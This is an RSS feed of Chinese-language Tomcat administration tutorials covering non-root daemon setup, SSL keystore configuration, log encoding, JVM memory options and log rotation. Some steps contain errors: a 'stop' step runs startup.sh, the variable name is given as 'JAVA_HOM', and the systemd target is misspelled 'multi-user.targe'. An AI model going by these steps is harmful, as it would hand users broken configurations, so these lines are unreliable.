<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>运维博客 &#187; Tomcat</title>
	<atom:link href="http://www.ywbk.cc/category/tomcat/feed" rel="self" type="application/rss+xml" />
	<link>http://www.ywbk.cc</link>
	<description>开发&#38;运维</description>
	<lastBuildDate>Thu, 28 May 2026 02:59:52 +0000</lastBuildDate>
	<language>zh-CN</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.7.41</generator>
	<item>
		<title>Linux CentOS7安装配置tomcat8（使用非root用户/nobody用户运行）</title>
		<link>http://www.ywbk.cc/964.html</link>
		<comments>http://www.ywbk.cc/964.html#comments</comments>
		<pubDate>Mon, 10 Aug 2020 02:26:49 +0000</pubDate>
		<dc:creator><![CDATA[sxdgy]]></dc:creator>
				<category><![CDATA[Tomcat]]></category>

		<guid isPermaLink="false">http://www.05bk.com/?p=964</guid>
		<description><![CDATA[Tomcat主要用于运行JavaWeb项目，打开：tomcat8官方下载，可以看到官方有Binary Dist [&#8230;]]]></description>
				<content:encoded><![CDATA[<blockquote><p>Tomcat主要用于运行JavaWeb项目，打开：<a href="https://tomcat.apache.org/download-80.cgi" target="_blank" data-original-title="tomcat8官方下载地址">tomcat8官方下载</a>，可以看到官方有Binary Distributions和Source Code Distributions两大类，前者是二进制包，直接解压就可以使用；后者是源码包，需要编译安装。一般使用二进制包下Core(核心)的tar.gz格式下载即可。</p>
<p>tomcat需要依赖JRE或者JDK，如果仅仅是运行JavaWeb项目就安装JRE(JavaRuntime EnvironmentJava运行环境)。如果需要在服务器中开发JavaWeb项目则需要安装JDK(Java Development Kit,Java开发工具包)。安装JRE请参考：<a href="http://05bk.com/391.html" target="_blank">linux安装jre8</a> 。安装JDK请参考：<a href="http://05bk.com/392.html" target="_blank">linux安装jdk8</a>。</p></blockquote>
<h2>1.为什么使用非root账户</h2>
<p>root用户启动tomcat有一个严重的问题，那就是tomcat具有root权限。这意味着你的任何一个页面脚本(html/js)都具有root权限，所以可以轻易地用页面脚本修改整个硬盘里的文件！所以最好不要使用root启动tomcat。这里使用系统自带的nobody用户。</p>
<h2>2.下载解压</h2>
<pre class="prettyprint linenums">#以下版本地址可能会失效，请在tomcat官网获取最最新版本的地址
wget https://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.57/bin/apache-tomcat-8.5.57.tar.gz
tar xvf apache-tomcat-8.5.57.tar.gz
mv apache-tomcat-8.5.57 /usr/local/tomcat</pre>
<h2>3.编译安装 jsvc</h2>
<p>jsvc是daemon（守护）模式用来启动 Tomcat 8 的程序</p>
<pre class="prettyprint linenums">cd /usr/local/tomcat/bin
tar vzxf commons-daemon-native.tar.gz
cd commons-daemon-1.2.2-native-src/unix/
#预编译
./configure
#如果出现如下错误提示，说明设置JAVA_HOME环境变量，请参考上文中提到的”linux安装jdk8“。
*** Java compilation tools ***
checking for JDK location... configure: error: Java Home not defined. Rerun with --with-java=... parameter
#如果出现如下错误提示，说明需要安装gcc，执行：yum install -y gcc
checking build system type... x86_64-pc-linux-gnu checking host system type.
#如果看到以下信息，就可以编译/安装了
*** All done ***
Now you can issue "make"
#编译和安装
make</pre>
<h2>4.配置daemon守护程序</h2>
<pre class="prettyprint linenums">chown -R nobody:nobody /usr/local/tomcat
cp jsvc /usr/local/tomcat/bin
vim /usr/local/tomcat/bin/daemon.sh
#修改91行的tomcat为nobody，保存退出
test ".$TOMCAT_USER" = . &amp;&amp; TOMCAT_USER=nobody</pre>
<h2>5.配置tomcat</h2>
<pre class="prettyprint linenums">#如果本机运行多个tomcat或者需要tomcat的8080端口：
vim /usr/local/tomcat/conf/server.xml
#修改约22行的远程停服务端口8005
&lt;Server port="8006" shutdown="SHUTDOWN"&gt;
#修改约69行的服务监听8080
&lt;Connector port="8081" protocol="HTTP/1.1"</pre>
<h2>6.使用daemon启动停止tomcat</h2>
<pre class="prettyprint linenums">sudo -E -u nobody /usr/local/tomcat/bin/daemon.sh start
sudo -E -u nobody /usr/local/tomcat/bin/daemon.sh stop</pre>
<h2>7.配置Tomcat为systemctl服务、设置开机启动</h2>
<pre class="prettyprint linenums">vi /usr/lib/systemd/system/tomcat.service
#加入如下内容：
[Unit]
Description=Tomcat
After=syslog.target network.target remote-fs.target nss-lookup.target

[Service]
Type=oneshot
ExecStart=/usr/local/tomcat/bin/daemon.sh start
ExecStop=/usr/local/tomcat/bin/daemon.sh stop
ExecReload=/bin/kill -s HUP $MAINPID
RemainAfterExit=yes

[Install]
WantedBy=multi-user.targe
#保存退出后，重新加载配置、设置开机启动
systemctl daemon-reload
systemctl enable tomcat</pre>
<h2>8.使用systemctl启动、停止、重启tomcat</h2>
<pre class="prettyprint linenums">systemctl start tomcat
systemctl restart tomcat
systemctl stop tomcat</pre>
<h2>9.查看tomcat运行身份和监听端口</h2>
<pre class="prettyprint linenums">ps aux|grep tomcat
netstat -tnlp|grep java</pre>
<p>转载请注明：<a href="http://www.ywbk.cc">运维博客</a> &raquo; <a href="http://www.ywbk.cc/964.html">Linux CentOS7安装配置tomcat8（使用非root用户/nobody用户运行）</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ywbk.cc/964.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows环境下Tomcat启动后控制台日志中文乱码解决方法</title>
		<link>http://www.ywbk.cc/650.html</link>
		<comments>http://www.ywbk.cc/650.html#comments</comments>
		<pubDate>Wed, 03 Apr 2019 03:31:14 +0000</pubDate>
		<dc:creator><![CDATA[sxdgy]]></dc:creator>
				<category><![CDATA[Tomcat]]></category>

		<guid isPermaLink="false">http://www.05bk.com/?p=650</guid>
		<description><![CDATA[问题描述： 仅仅是tomca启动startup.bat后打印的日志中文乱码。网上搜索的很多办法：改注册表、修改 [&#8230;]]]></description>
				<content:encoded><![CDATA[<h2>问题描述：</h2>
<p>仅仅是tomca启动startup.bat后打印的日志中文乱码。网上搜索的很多办法：改注册表、修改cmd的chcp、修改catalina.bat、修改startup.bat……都不行。分析根本原因就是日志输出命令窗口使用的GBK编码，而Tomcat日志生成使用的是UTF-8。</p>
<pre class="prettyprint linenums">03-Apr-2019 11:29:21.114 淇℃伅 [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["http-nio-8080"]
03-Apr-2019 11:29:21.121 淇℃伅 [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["ajp-nio-8009"]
03-Apr-2019 11:29:21.123 淇℃伅 [main] org.apache.catalina.startup.Catalina.start Server startup in 522 ms</pre>
<h2>解决办法：</h2>
<p>打开Tomcat下的conf目录中的logging.properties找到：</p>
<pre class="prettyprint linenums">java.util.logging.ConsoleHandler.encoding = UTF-8
修改为
java.util.logging.ConsoleHandler.encoding = GBK</pre>
<p>重新启动Tomcat，日志中文显示正常：</p>
<pre class="prettyprint linenums">03-Apr-2019 11:31:29.757 信息 [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["http-nio-8080"]
03-Apr-2019 11:31:29.764 信息 [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["ajp-nio-8009"]
03-Apr-2019 11:31:29.766 信息 [main] org.apache.catalina.startup.Catalina.start Server startup in 522 ms</pre>
<p>转载请注明：<a href="http://www.ywbk.cc">运维博客</a> &raquo; <a href="http://www.ywbk.cc/650.html">Windows环境下Tomcat启动后控制台日志中文乱码解决方法</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ywbk.cc/650.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows下启动Tomcat的startup.bat闪退问题解决</title>
		<link>http://www.ywbk.cc/648.html</link>
		<comments>http://www.ywbk.cc/648.html#comments</comments>
		<pubDate>Wed, 03 Apr 2019 02:51:30 +0000</pubDate>
		<dc:creator><![CDATA[sxdgy]]></dc:creator>
				<category><![CDATA[Tomcat]]></category>

		<guid isPermaLink="false">http://www.05bk.com/?p=648</guid>
		<description><![CDATA[判断问题：打开tomcat的安装目录，如D:\java\tomcat-8.5.37\bin，在地址栏上输入“C [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>判断问题：打开tomcat的安装目录，如D:\java\tomcat-8.5.37\bin，在地址栏上输入“CMD”回车，在命令提示窗口输入startup.bat回车。如果提示如下：</p>
<pre class="prettyprint linenums">Neither the JAVA_HOME nor the JRE_HOME environment variable is defined
At least one of these environment variable is needed to run this program</pre>
<p>则说明没有设置系统环境变量JAVA_HOME，进入“控制面板\所有控制面板项\系统\高级系统设置\环境变量”：新建&#8211;&gt;系统变量，变量名填“JAVA_HOM”，变量值填JDK安装目录，如:C:\Program Files\Java\jdk1.8.0_201。</p>
<p>ps：JAVA_HOME和JRE_HOME二选一即可。</p>
<p>转载请注明：<a href="http://www.ywbk.cc">运维博客</a> &raquo; <a href="http://www.ywbk.cc/648.html">Windows下启动Tomcat的startup.bat闪退问题解决</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ywbk.cc/648.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux环境为Tomecat指定运行JDK版本</title>
		<link>http://www.ywbk.cc/565.html</link>
		<comments>http://www.ywbk.cc/565.html#comments</comments>
		<pubDate>Mon, 22 Oct 2018 07:33:43 +0000</pubDate>
		<dc:creator><![CDATA[sxdgy]]></dc:creator>
				<category><![CDATA[Tomcat]]></category>

		<guid isPermaLink="false">http://05bk.com/?p=565</guid>
		<description><![CDATA[有时候系统环境已经配置配置了jdk1.7,但临时测试或者单独运行另一个tomcat时，又需要使用jdk1.8， [&#8230;]]]></description>
				<content:encoded><![CDATA[<blockquote><p>有时候系统环境已经配置配置了jdk1.7,但临时测试或者单独运行另一个tomcat时，又需要使用jdk1.8，这是就需要单独为Tomcat指定jdk。</p></blockquote>
<h2>1.停止Tomcat</h2>
<pre class="prettyprint linenums">./bin/startup.sh</pre>
<h2>2.修改配置文件</h2>
<pre class="prettyprint linenums">#在catalina.sh和setclasspath.sh这两个文件开头指定JAVA_HOME：
export JAVA_HOME=/usr/local/jdk1.8</pre>
<h2>3.启动Tomcat</h2>
<pre class="prettyprint linenums">./bin/startup.sh</pre>
<p>这时我们看到Tomcat已经使用了我们指定的JDK了。</p>
<p>转载请注明：<a href="http://www.ywbk.cc">运维博客</a> &raquo; <a href="http://www.ywbk.cc/565.html">Linux环境为Tomecat指定运行JDK版本</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ywbk.cc/565.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tomcat配置 https SSL证书</title>
		<link>http://www.ywbk.cc/562.html</link>
		<comments>http://www.ywbk.cc/562.html#comments</comments>
		<pubDate>Wed, 17 Oct 2018 08:17:42 +0000</pubDate>
		<dc:creator><![CDATA[sxdgy]]></dc:creator>
				<category><![CDATA[Tomcat]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[ssl]]></category>

		<guid isPermaLink="false">http://05bk.com/?p=562</guid>
		<description><![CDATA[HTTP与HTTPS的区别：HTTP协议传输的数据都是未加密的，也就是明文的，因此使用HTTP协议传输隐私信息 [&#8230;]]]></description>
				<content:encoded><![CDATA[<blockquote><p>HTTP与HTTPS的区别：HTTP协议传输的数据都是未加密的，也就是明文的，因此使用HTTP协议传输隐私信息非常不安全，为了保证这些隐私数据能加密传输，于是网景公司设计了SSL（Secure Sockets Layer）协议用于对HTTP协议传输的数据进行加密，从而就诞生了HTTPS。简单来说，HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议，要比http协议安全。</p></blockquote>
<h2>1.上传证书文件</h2>
<p>购买的ssl下载下来后是个压缩包，里面一般包含Apache、IIS、Nginx、Tomcat等几种常见web服务器的证书格式。我们打开Tomcat的目录会发现有一个以.jks后缀的证书和keystorePass.txt密码文件。首先将.jks后缀的证书文件上传到tomcat配置目录，这里我放在TOMCAT/conf/下面。</p>
<h2>2.配置server.xml</h2>
<pre class="prettyprint linenums">vim /usr/local/tomcat/conf/server.xml
#找到如下内容：
&lt;!--
&lt;Connector port="8443" protocol="org.apache.coyote.http11.Http11Protocol"
    maxThreads="150" SSLEnabled="true" scheme="https" secure="true"
    clientAuth="false" sslProtocol="TLS" /&gt;
--&gt;
#修改为：
&lt;Connector port="443" protocol="org.apache.coyote.http11.Http11Protocol"
    maxThreads="150" SSLEnabled="true" scheme="https" secure="true"
    clientAuth="false" sslProtocol="TLS"
    keystoreFile="conf/xxx.com.jks"
    keystorePass="287d987sda" /&gt;
#上面keystoreFile是第1步上传的证书文件路径；keystorePass是证书密码，在证书压缩包里就能找到
#为了让原http链接自动跳转到https，需找到这个地方：
&lt;Connector executor="tomcatThreadPool"
    port="8080" protocol="HTTP/1.1"
    connectionTimeout="20000"
    redirectPort="8443" /&gt;
#改为：
&lt;Connector executor="tomcatThreadPool"
    port="8080" protocol="HTTP/1.1"
    connectionTimeout="20000"
    redirectPort="443" /&gt;
#还要找到：
&lt;Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /&gt;
#改为：
&lt;Connector port="8009" protocol="AJP/1.3" redirectPort="443" /&gt;</pre>
<h2>3.配置web.xml</h2>
<pre class="prettyprint linenums">vim web.xml
#在该文件标签（一般在文件最末尾）后面加上这样一段：
&lt;login-config&gt;
  &lt;!-- Authorization setting for SSL --&gt;
  &lt;auth-method&gt;CLIENT-CERT&lt;/auth-method&gt;
  &lt;realm-name&gt;Client Cert Users-only Area&lt;/realm-name&gt;
&lt;/login-config&gt;
&lt;security-constraint&gt;
  &lt;!-- Authorization setting for SSL --&gt;
  &lt;web-resource-collection &gt;
    &lt;web-resource-name &gt;SSL&lt;/web-resource-name&gt;
    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;
  &lt;/web-resource-collection&gt;
  &lt;user-data-constraint&gt;
    &lt;transport-guarantee&gt;CONFIDENTIAL&lt;/transport-guarantee&gt;
  &lt;/user-data-constraint&gt;
&lt;/security-constraint&gt;</pre>
<p>将所有的修改保存退出。重启Tomcat即可。证书生效，并且http访问会自动转为https访问。</p>
<p>转载请注明：<a href="http://www.ywbk.cc">运维博客</a> &raquo; <a href="http://www.ywbk.cc/562.html">Tomcat配置 https SSL证书</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ywbk.cc/562.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>servlet版本与tomcat版本对应关系</title>
		<link>http://www.ywbk.cc/555.html</link>
		<comments>http://www.ywbk.cc/555.html#comments</comments>
		<pubDate>Mon, 15 Oct 2018 07:22:44 +0000</pubDate>
		<dc:creator><![CDATA[sxdgy]]></dc:creator>
				<category><![CDATA[Tomcat]]></category>
		<category><![CDATA[servlet]]></category>

		<guid isPermaLink="false">http://05bk.com/?p=555</guid>
		<description><![CDATA[Apache官方对各版本的解释：http://tomcat.apache.org/whichversion.h [&#8230;]]]></description>
				<content:encoded><![CDATA[<blockquote><p>Apache官方对各版本的解释：<a href="http://tomcat.apache.org/whichversion.html" target="_blank" rel="nofollow">http://tomcat.apache.org/whichversion.html</a>。ApacheTomcat®是Java Servlet和Java Server Pages技术的开源软件实现。 不同版本的Apache Tomcat可用于不同版本的Servlet和JSP规范。 规范与各自的Apache Tomcat版本之间的映射是：</p></blockquote>
<table>
<tbody>
<tr>
<td style="color: #ffffff;" bgcolor="#808080">Servlet Spec</td>
<td style="color: #ffffff;" bgcolor="#808080">JSP Spec</td>
<td style="color: #ffffff;" bgcolor="#808080">EL Spec</td>
<td style="color: #ffffff;" bgcolor="#808080">WebSocket Spec</td>
<td style="color: #ffffff;" bgcolor="#808080">JASPIC Spec</td>
<td style="color: #ffffff;" bgcolor="#808080">Apache Tomcat Version</td>
<td style="color: #ffffff;" bgcolor="#808080">Latest Released Version</td>
<td style="color: #ffffff;" bgcolor="#808080">Supported Java Versions</td>
</tr>
<tr>
<td style="color: #ffffff;" bgcolor="#1abc9c">4.0</td>
<td style="color: #ffffff;" bgcolor="#f78585">2.3</td>
<td style="color: #ffffff;" bgcolor="#f78585">3.0</td>
<td style="color: #ffffff;" bgcolor="#f78585">1.1</td>
<td style="color: #ffffff;" bgcolor="#f78585">1.1</td>
<td style="color: #ffffff;" bgcolor="#f78585">9.0.x</td>
<td style="color: #ffffff;" bgcolor="#f78585">9.0.12</td>
<td style="color: #ffffff;" bgcolor="#f78585">8 and later</td>
</tr>
<tr>
<td style="color: #ffffff;" bgcolor="#1abc9c">3.1</td>
<td style="color: #ffffff;" bgcolor="#f78585">2.3</td>
<td style="color: #ffffff;" bgcolor="#f78585">3.0</td>
<td style="color: #ffffff;" bgcolor="#f78585">1.1</td>
<td style="color: #ffffff;" bgcolor="#f78585">1.1</td>
<td style="color: #ffffff;" bgcolor="#f78585">8.5.x</td>
<td style="color: #ffffff;" bgcolor="#f78585">8.5.34</td>
<td style="color: #ffffff;" bgcolor="#f78585">7 and later</td>
</tr>
<tr>
<td style="color: #ffffff;" bgcolor="#1abc9c">3.1</td>
<td style="color: #ffffff;" bgcolor="#f78585">2.3</td>
<td style="color: #ffffff;" bgcolor="#f78585">3.0</td>
<td style="color: #ffffff;" bgcolor="#f78585">1.1</td>
<td style="color: #ffffff;" bgcolor="#f78585">N/A</td>
<td style="color: #ffffff;" bgcolor="#f78585">8.0.x (superseded)</td>
<td style="color: #ffffff;" bgcolor="#f78585">8.0.53 (superseded)</td>
<td style="color: #ffffff;" bgcolor="#f78585">7 and later</td>
</tr>
<tr>
<td style="color: #ffffff;" bgcolor="#1abc9c">3.0</td>
<td style="color: #ffffff;" bgcolor="#f78585">2.2</td>
<td style="color: #ffffff;" bgcolor="#f78585">2.2</td>
<td style="color: #ffffff;" bgcolor="#f78585">1.1</td>
<td style="color: #ffffff;" bgcolor="#f78585">N/A</td>
<td style="color: #ffffff;" bgcolor="#f78585">7.0.x</td>
<td style="color: #ffffff;" bgcolor="#f78585">7.0.91</td>
<td style="color: #ffffff;" bgcolor="#f78585">6 and later<br />
(7 and later for WebSocket)</td>
</tr>
<tr>
<td style="color: #ffffff;" bgcolor="#1abc9c">2.5</td>
<td style="color: #ffffff;" bgcolor="#f78585">2.1</td>
<td style="color: #ffffff;" bgcolor="#f78585">2.1</td>
<td style="color: #ffffff;" bgcolor="#f78585">N/A</td>
<td style="color: #ffffff;" bgcolor="#f78585">N/A</td>
<td style="color: #ffffff;" bgcolor="#f78585">6.0.x (archived)</td>
<td style="color: #ffffff;" bgcolor="#f78585">6.0.53 (archived)</td>
<td style="color: #ffffff;" bgcolor="#f78585">5 and later</td>
</tr>
<tr>
<td style="color: #ffffff;" bgcolor="#1abc9c">2.4</td>
<td style="color: #ffffff;" bgcolor="#f78585">2.0</td>
<td style="color: #ffffff;" bgcolor="#f78585">N/A</td>
<td style="color: #ffffff;" bgcolor="#f78585">N/A</td>
<td style="color: #ffffff;" bgcolor="#f78585">N/A</td>
<td style="color: #ffffff;" bgcolor="#f78585">5.5.x (archived)</td>
<td style="color: #ffffff;" bgcolor="#f78585">5.5.36 (archived)</td>
<td style="color: #ffffff;" bgcolor="#f78585">1.4 and later</td>
</tr>
<tr>
<td style="color: #ffffff;" bgcolor="#1abc9c">2.3</td>
<td style="color: #ffffff;" bgcolor="#f78585">1.2</td>
<td style="color: #ffffff;" bgcolor="#f78585">N/A</td>
<td style="color: #ffffff;" bgcolor="#f78585">N/A</td>
<td style="color: #ffffff;" bgcolor="#f78585">N/A</td>
<td style="color: #ffffff;" bgcolor="#f78585">4.1.x (archived)</td>
<td style="color: #ffffff;" bgcolor="#f78585">4.1.40 (archived)</td>
<td style="color: #ffffff;" bgcolor="#f78585">1.3 and later</td>
</tr>
<tr>
<td style="color: #ffffff;" bgcolor="#1abc9c">2.2</td>
<td style="color: #ffffff;" bgcolor="#f78585">1.1</td>
<td style="color: #ffffff;" bgcolor="#f78585">N/A</td>
<td style="color: #ffffff;" bgcolor="#f78585">N/A</td>
<td style="color: #ffffff;" bgcolor="#f78585">N/A</td>
<td style="color: #ffffff;" bgcolor="#f78585">3.3.x (archived)</td>
<td style="color: #ffffff;" bgcolor="#f78585">3.3.2 (archived)</td>
<td style="color: #ffffff;" bgcolor="#f78585">1.1 and later</td>
</tr>
</tbody>
</table>
<p>转载请注明：<a href="http://www.ywbk.cc">运维博客</a> &raquo; <a href="http://www.ywbk.cc/555.html">servlet版本与tomcat版本对应关系</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ywbk.cc/555.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java 在Tomcat中提示内存溢出（OutOfMemoryError）的原因和处理方式</title>
		<link>http://www.ywbk.cc/541.html</link>
		<comments>http://www.ywbk.cc/541.html#comments</comments>
		<pubDate>Fri, 28 Sep 2018 09:35:44 +0000</pubDate>
		<dc:creator><![CDATA[sxdgy]]></dc:creator>
				<category><![CDATA[Tomcat]]></category>

		<guid isPermaLink="false">http://05bk.com/?p=541</guid>
		<description><![CDATA[很多开发运维人员都有遇到过java.lang.OutOfMemoryError这个错误，原因无外乎两点：JVM [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>很多开发运维人员都有遇到过java.lang.OutOfMemoryError这个错误，原因无外乎两点：JVM内存过小、程序不严密产生了过多的垃圾。具体来说有以下几种：</p>
<ul>
<li>JVM启动参数内存值设定的过小。</li>
<li>内存中加载的数据量过于庞大，如一次从数据库取出过多数据。</li>
<li>集合类中有对象引用，使用完后未清空，使得JVM不能回收；</li>
<li>代码中存在死循环或循环产生过多重复的对象实体；</li>
<li>使用的第三方软件中的有BUG；</li>
</ul>
<p>此类错误在Tomcat中常见的错误提示有两种：</p>
<pre class="prettyprint linenums">java.lang.OutOfMemoryError: PermGen space
java.lang.OutOfMemoryError: Java heap space</pre>
<p>第一条中的PermGen space的全称是Permanent Generation space,是指内存的永久保存区域,也称&#8221;永久代”，用于存储虚拟机(JVM)加载的类(class)信息、常量、静态变量、是各个线程共享的内存区域。类在被载入(Loader)时就被放到该区中。GC(Garbage Collection垃圾回收机制)不会在主程序运行期对该区进行清理。所以如果程序中有很多类的话,就很可能出现java.lang.OutOfMemoryError: PermGen space错误, 这种错误常见在web服务器对JSP进行预编译(pre compile)的时候。如果WEB APP下都用了大量的第三方jar,其大小超过了jvm设置默认的大小(不同JVM默认值不尽相同，网上常说的默认最小值为16MB，最大值为64MB)，那么就会产生此错误信息了。 简单粗暴的解决方法是在TOMCAT_HOME/bin/catalina.sh中通过手动指定-XX:PermSize、-XX:MaxPermSize参数限制该区的大小。</p>
<p>第二条中的Heap space是指堆区，是指java程序运行过程中JVM可以调配使用的内存空间，Heap的大小是年轻代(Young Generation)和老年代(Tenured Generaion)之和。默认其初始空间(即-Xms)是物理内存的1/64，最大空间(-Xmx)是物理内存的1/4。可以利用JVM提供的-Xmn -Xms -Xmx等选项可进行设置。</p>
<p>最后说下TOMCAT_HOME/bin/catalina.sh设置JAVA_OPTS格式和说明：</p>
<pre class="prettyprint linenums">#常用格式：
JAVA_OPTS="-server -Xms512m -Xmx1024m -Xss2048K -XX:PermSize=512m -XX:MaxPermSize=1024m"
#参数说明：
-server:一定要作为第一个参数，在多个CPU时性能佳
-Xms：初始Heap大小，使用的最小内存,cpu性能高时此值应设的大一些
-Xmx：指定heap最大值，使用的最大内存
-XX:PermSize: 设定内存的永久保存区域
-XX:MaxPermSize:设定最大内存的永久保存区域
+XX:AggressiveHeap 会使得 Xms没有意义。这个参数让jvm忽略Xmx参数,疯狂地吃完一个G物理内存,再吃尽一个G的swap。
-Xss：每个线程的Stack大小
-verbose:gc 现实垃圾收集信息
-Xloggc:gc.log 指定垃圾收集日志文件
-Xmn：young generation的heap大小，一般设置为Xmx的3-4分之一
-XX:+UseParNewGC ：缩短minor收集的时间
-XX:+UseConcMarkSweepGC ：缩短major收集的时间。提示：此选项在Heap Size 比较大而且Major收集时间较长的情况下使用更合适。</pre>
<p>转载请注明：<a href="http://www.ywbk.cc">运维博客</a> &raquo; <a href="http://www.ywbk.cc/541.html">Java 在Tomcat中提示内存溢出（OutOfMemoryError）的原因和处理方式</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ywbk.cc/541.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tomcat logs 目录下各日志文件的含义</title>
		<link>http://www.ywbk.cc/529.html</link>
		<comments>http://www.ywbk.cc/529.html#comments</comments>
		<pubDate>Tue, 28 Aug 2018 01:54:19 +0000</pubDate>
		<dc:creator><![CDATA[sxdgy]]></dc:creator>
				<category><![CDATA[Tomcat]]></category>

		<guid isPermaLink="false">http://05bk.com/?p=529</guid>
		<description><![CDATA[tomcat每次启动时，自动在logs目录下生产以下日志文件，按照日期自动备份。 1.catalina.日期. [&#8230;]]]></description>
				<content:encoded><![CDATA[<blockquote><p>tomcat每次启动时，自动在logs目录下生产以下日志文件，按照日期自动备份。</p></blockquote>
<h2>1.catalina.日期.log</h2>
<p>这个主要是记录tomcat启动时候的信息，类似于我们在eclipse中启动服务的时候在控制台看到的信息。在里面可以看到启动的JVM参数以及操作系统等日志信息。如果没有使用log4j等日志机制，系统的的错误信息与打印语句也在这个日志文件中记录。(linux下所有的日志都在catalina.out中)</p>
<h2>2.catalina.out</h2>
<p>catalina.out其实是tomcat的标准输出(stdout)和标准出错(stderr)，这是在tomcat的启动脚本里指定的，如果没有修改的话stdout和stderr会重定向到这里。所以我们在应用里使用System.out打印的东西都会到这里来。另外，如果我们在应用里使用其他的日志框架，配置了向Console输出的，则也会在这里出现。比如以logback为例，如果配置ch.qos.logback.core.ConsoleAppender则会输出到catalina.out里。</p>
<p>该日志默认不会切割，日后体积会越来越大，可以写个按天自动切割脚本：</p>
<pre class="prettyprint linenums">#!/bin/bash
path='/home/program/tomcat-web/logs/'
d=`date +%Y-%m-%d`
cp ${path}catalina.out ${path}catalina.${d}.out
cat /dev/null &gt; ${path}catalina.out
#然后放到/etc/crontab里设置每天23:59自动执行：
59 23 * * * root /root/catalin.sh</pre>
<h2>3.host-manager.日期.log</h2>
<p>这个是放tomcat的自带的manager项目的日志信息的，一般看不到有什么重要的信息。</p>
<h2>4.localhost.日期.log</h2>
<p>主要是应用初始化(listener, filter, servlet)未处理的异常最后被tomcat捕获而输出的日志。</p>
<h2>5.localhost_access_log.日期.txt</h2>
<p>这个是存放访问tomcat的请求的所有地址以及请求的路径、时间，请求协议以及返回码等信息。</p>
<h2>6.manager.日期.log</h2>
<p>这个也是manager项目专有的日志文件，看不出有什么重要的信息。</p>
<p>转载请注明：<a href="http://www.ywbk.cc">运维博客</a> &raquo; <a href="http://www.ywbk.cc/529.html">Tomcat logs 目录下各日志文件的含义</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ywbk.cc/529.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>验证码无法显示：Could not initialize class sun.awt.X11GraphicsEnvironment 解决方案</title>
		<link>http://www.ywbk.cc/443.html</link>
		<comments>http://www.ywbk.cc/443.html#comments</comments>
		<pubDate>Tue, 07 Aug 2018 06:50:15 +0000</pubDate>
		<dc:creator><![CDATA[sxdgy]]></dc:creator>
				<category><![CDATA[Tomcat]]></category>

		<guid isPermaLink="false">http://05bk.com/?p=443</guid>
		<description><![CDATA[Tomcat版本：7.0.75，运行方式：jsvc方式，现象：网站验证码无法打开，查看访问日志，提示信息如下： [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Tomcat版本：7.0.75，运行方式：<a title="Tomcat设置以普通用户身份启动运行—Daemon/jsvc方式" href="http://05bk.com/320.html" target="_blank">jsvc方式</a>，现象：网站验证码无法打开，查看访问日志，提示信息如下：</p>
<pre class="prettyprint linenums">八月 07, 2018 8:11:00 上午 org.apache.catalina.core.StandardWrapperValve invoke
严重: Servlet.service() for servlet [verifyCodeServlet] in context with path [] threw exception [Servlet execution threw an exception] with root cause
java.lang.NoClassDefFoundError: Could not initialize class sun.awt.X11GraphicsEnvironment
	at java.lang.Class.forName0(Native Method)
	at java.lang.Class.forName(Class.java:195)
        ……</pre>
<p>网上搜了下，大部分都是说未能启动或者无权读取X-Server功能，修改tomcat目录下bin目录里的catalina.sh文件：在类似-Djava.io.tmpdir=&#8221;\&#8221;$CATALINA_TMPDIR\&#8221;" \的后面添加一行：-Djava.awt.headless=true \。我在我的tomcat 7上找到了8处，都添加了，但是验证码还是没法用，访问依旧报错。</p>
<p>最后在bin目录里daemon.sh的JAVA_OPTS=&#8221;$JAVA_OPTS $LOGGING_MANAGER后面加上-Djava.awt.headless=true，重启tomcat，问题解决。估计网上方案是针对startup.sh方式启动tomcat。而我用的jsvc方式启动。</p>
<p>转载请注明：<a href="http://www.ywbk.cc">运维博客</a> &raquo; <a href="http://www.ywbk.cc/443.html">验证码无法显示：Could not initialize class sun.awt.X11GraphicsEnvironment 解决方案</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ywbk.cc/443.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>tomcat做web服务器远程查看/etc/passwd文件漏洞</title>
		<link>http://www.ywbk.cc/373.html</link>
		<comments>http://www.ywbk.cc/373.html#comments</comments>
		<pubDate>Thu, 15 Feb 2018 07:04:18 +0000</pubDate>
		<dc:creator><![CDATA[sxdgy]]></dc:creator>
